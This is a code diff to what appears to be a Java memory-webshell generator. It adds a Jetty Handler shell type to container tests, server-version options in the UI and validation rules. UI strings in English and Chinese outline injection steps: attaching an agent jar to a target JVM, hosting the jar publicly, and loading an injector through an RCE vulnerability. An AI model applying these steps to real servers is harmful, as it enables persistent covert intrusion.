|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -70,6 +71,6 @@ public class Jetty61ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty75ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -69,6 +70,6 @@ public class Jetty75ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty76ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -69,6 +70,6 @@ public class Jetty76ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty81ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -69,6 +70,6 @@ public class Jetty81ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -55,6 +55,7 @@ public class Jetty92ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -71,6 +72,6 @@ public class Jetty92ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty93ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -70,6 +71,6 @@ public class Jetty93ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -54,6 +54,7 @@ public class Jetty94ContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
@@ -70,6 +71,6 @@ public class Jetty94ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -144,18 +144,16 @@ export default function MainConfigCard({
|
|||||||
if (value === "TongWeb") {
|
if (value === "TongWeb") {
|
||||||
setServerVersionOptions([
|
setServerVersionOptions([
|
||||||
...defaultServerVersionOptions,
|
...defaultServerVersionOptions,
|
||||||
{
|
{ name: "6", value: "6" },
|
||||||
name: "6",
|
{ name: "7", value: "7" },
|
||||||
value: "6",
|
{ name: "8", value: "8" },
|
||||||
},
|
]);
|
||||||
{
|
} else if (value === "Jetty") {
|
||||||
name: "7",
|
setServerVersionOptions([
|
||||||
value: "7",
|
...defaultServerVersionOptions,
|
||||||
},
|
{ name: "6", value: "6" },
|
||||||
{
|
{ name: "7+", value: "7+" },
|
||||||
name: "8",
|
{ name: "12", value: "12" },
|
||||||
value: "8",
|
|
||||||
},
|
|
||||||
]);
|
]);
|
||||||
} else {
|
} else {
|
||||||
setServerVersionOptions(defaultServerVersionOptions);
|
setServerVersionOptions(defaultServerVersionOptions);
|
||||||
|
|||||||
@@ -47,7 +47,7 @@
|
|||||||
"tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid",
|
"tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid",
|
||||||
"tips.get-pid": "Get the process pid of the target jvm (use jps or ps)",
|
"tips.get-pid": "Get the process pid of the target jvm (use jps or ps)",
|
||||||
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
|
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
|
||||||
"tips.serverVersion": "serverVersion is required for TongWeb Valve",
|
"tips.serverVersion": "serverVersion is required",
|
||||||
"tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
|
"tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
|
||||||
"tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first",
|
"tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first",
|
||||||
"tips.shellToolNotSelected": "Please select a shell tool type first",
|
"tips.shellToolNotSelected": "Please select a shell tool type first",
|
||||||
@@ -58,4 +58,4 @@
|
|||||||
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
|
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
|
||||||
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
|
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
|
||||||
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
|
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
|
||||||
}
|
}
|
||||||
@@ -47,7 +47,7 @@
|
|||||||
"tips.execute-command1": "执行命令进行注入:java -jar /path/to/agent.jar pid",
|
"tips.execute-command1": "执行命令进行注入:java -jar /path/to/agent.jar pid",
|
||||||
"tips.get-pid": "获取目标 jvm 的进程 pid(使用 jps 或 ps)",
|
"tips.get-pid": "获取目标 jvm 的进程 pid(使用 jps 或 ps)",
|
||||||
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler",
|
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler",
|
||||||
"tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
|
"tips.serverVersion": "当前挂载类型必须指定 serverVersion",
|
||||||
"tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet",
|
"tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet",
|
||||||
"tips.shellBytesEmpty": "内存马字节码为空,无法下载,请先生成内存马",
|
"tips.shellBytesEmpty": "内存马字节码为空,无法下载,请先生成内存马",
|
||||||
"tips.shellToolNotSelected": "请先选择内存马工具类型",
|
"tips.shellToolNotSelected": "请先选择内存马工具类型",
|
||||||
@@ -58,4 +58,4 @@
|
|||||||
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
|
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
|
||||||
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
|
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
|
||||||
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
|
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
|
||||||
}
|
}
|
||||||
@@ -78,7 +78,7 @@ export function shouldHidden(shellType: string | undefined) {
|
|||||||
shellType.endsWith("Valve") ||
|
shellType.endsWith("Valve") ||
|
||||||
shellType.startsWith("Agent") ||
|
shellType.startsWith("Agent") ||
|
||||||
shellType.endsWith("Interceptor") ||
|
shellType.endsWith("Interceptor") ||
|
||||||
shellType.endsWith("NettyHandler") ||
|
shellType.endsWith("Handler") ||
|
||||||
shellType.endsWith("WebFilter")
|
shellType.endsWith("WebFilter")
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -99,6 +99,19 @@ export const useYupValidationResolver = (
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
values.server === "Jetty" &&
|
||||||
|
(values.shellType === "Handler"
|
||||||
|
|| values.shellType === "JakartaHandler"
|
||||||
|
) &&
|
||||||
|
values.serverVersion === "unknown"
|
||||||
|
) {
|
||||||
|
errors[serverVersion] = {
|
||||||
|
type: "custom",
|
||||||
|
message: t("memshell:tips.serverVersion"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
return {
|
return {
|
||||||
values,
|
values,
|
||||||
errors,
|
errors,
|
||||||
|
|||||||
Reference in New Issue
Block a user